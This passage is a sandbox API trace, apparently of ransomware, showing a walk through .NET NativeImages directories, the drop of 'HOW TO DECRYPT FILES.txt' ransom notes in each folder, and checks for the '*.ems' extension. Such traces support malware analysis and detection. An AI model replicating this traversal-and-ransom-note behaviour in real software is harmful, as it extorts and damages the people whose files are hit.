ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2ea5390, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.DataVisualization.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.533] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.533] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2e7f230, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2ea5390, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2ea5390, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dacce78d04c965cfa8a0bd2d769c0df9", cAlternateFileName="DACCE7~1")) returned 0 [0123.533] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.533] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1429ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1450030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Wind412bbddf#", cAlternateFileName="SYSTEM~2.WIN")) returned 1 [0123.533] lstrcmpA (lpString1=".", lpString2="System.Wind412bbddf#") returned -1 [0123.533] lstrcmpA (lpString1="..", lpString2="System.Wind412bbddf#") returned -1 [0123.533] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.533] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Wind412bbddf#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#" [0123.533] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1429ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1450030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.534] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.534] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1429ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1450030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.534] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.534] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.534] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1450030, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1450030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8f843d16af00b139f8aebd174cf6cd87", cAlternateFileName="8F843D~1")) returned 1 [0123.534] lstrcmpA (lpString1=".", lpString2="8f843d16af00b139f8aebd174cf6cd87") returned -1 [0123.534] lstrcmpA (lpString1="..", lpString2="8f843d16af00b139f8aebd174cf6cd87") returned -1 [0123.534] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\*.*") returned="*.*" [0123.534] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\", lpString2="8f843d16af00b139f8aebd174cf6cd87" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87" [0123.534] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1450030, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1450030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.593] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.593] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1450030, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1450030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.593] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.593] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.593] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1429ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1429ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x215600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Controls.Ribbon.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.593] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.593] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Controls.Ribbon.ni.dll") returned -1 [0123.593] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Controls.Ribbon.ni.dll") returned -1 [0123.593] lstrcmpiA (lpString1="", lpString2="System.Windows.Controls.Ribbon.ni.dll") returned -1 [0123.594] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\*.*") returned="*.*" [0123.594] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\" [0123.594] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\") returned="" [0123.594] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\HOW TO DECRYPT FILES.txt" [0123.594] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\how to decrypt files.txt")) returned 0xffffffff [0123.594] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.597] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.597] CloseHandle (hObject=0x90) returned 1 [0123.597] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\", lpString2="System.Windows.Controls.Ribbon.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\System.Windows.Controls.Ribbon.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\System.Windows.Controls.Ribbon.ni.dll" [0123.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\System.Windows.Controls.Ribbon.ni.dll", pszSpec="*.ems") returned 0 [0123.598] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1450030, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1450030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Controls.Ribbon.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.598] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.598] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Controls.Ribbon.ni.dll.aux") returned -1 [0123.598] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Controls.Ribbon.ni.dll.aux") returned -1 [0123.598] lstrcmpiA (lpString1="", lpString2="System.Windows.Controls.Ribbon.ni.dll.aux") returned -1 [0123.598] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\System.Windows.Controls.Ribbon.ni.dll") returned="System.Windows.Controls.Ribbon.ni.dll" [0123.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\" [0123.598] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\") returned="" [0123.598] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\HOW TO DECRYPT FILES.txt" [0123.598] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\how to decrypt files.txt")) returned 0x20 [0123.598] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\", lpString2="System.Windows.Controls.Ribbon.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\System.Windows.Controls.Ribbon.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\System.Windows.Controls.Ribbon.ni.dll.aux" [0123.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind412bbddf#\\8f843d16af00b139f8aebd174cf6cd87\\System.Windows.Controls.Ribbon.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.598] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1450030, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1450030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x630, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Controls.Ribbon.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.598] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.599] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1450030, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb1450030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb1450030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8f843d16af00b139f8aebd174cf6cd87", cAlternateFileName="8F843D~1")) returned 0 [0123.599] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.599] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Wind5abb17e9#", cAlternateFileName="SYDEAA~1.WIN")) returned 1 [0123.599] lstrcmpA (lpString1=".", lpString2="System.Wind5abb17e9#") returned -1 [0123.599] lstrcmpA (lpString1="..", lpString2="System.Wind5abb17e9#") returned -1 [0123.599] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.599] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Wind5abb17e9#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#" [0123.599] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.600] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.600] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.600] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.600] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.600] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="47eae5af9af4dada35fc99b2aebd0836", cAlternateFileName="47EAE5~1")) returned 1 [0123.600] lstrcmpA (lpString1=".", lpString2="47eae5af9af4dada35fc99b2aebd0836") returned -1 [0123.601] lstrcmpA (lpString1="..", lpString2="47eae5af9af4dada35fc99b2aebd0836") returned -1 [0123.601] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\*.*") returned="*.*" [0123.601] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\", lpString2="47eae5af9af4dada35fc99b2aebd0836" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836" [0123.601] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.615] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.615] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.615] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.615] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.615] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Presentation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.615] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.615] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Presentation.ni.dll") returned -1 [0123.615] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Presentation.ni.dll") returned -1 [0123.615] lstrcmpiA (lpString1="", lpString2="System.Windows.Presentation.ni.dll") returned -1 [0123.616] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\*.*") returned="*.*" [0123.616] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\" [0123.616] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\") returned="" [0123.616] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\HOW TO DECRYPT FILES.txt" [0123.616] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\how to decrypt files.txt")) returned 0xffffffff [0123.616] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.619] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.619] CloseHandle (hObject=0x90) returned 1 [0123.619] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\", lpString2="System.Windows.Presentation.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\System.Windows.Presentation.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\System.Windows.Presentation.ni.dll" [0123.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\System.Windows.Presentation.ni.dll", pszSpec="*.ems") returned 0 [0123.619] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.619] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.619] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Presentation.ni.dll.aux") returned -1 [0123.620] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Presentation.ni.dll.aux") returned -1 [0123.620] lstrcmpiA 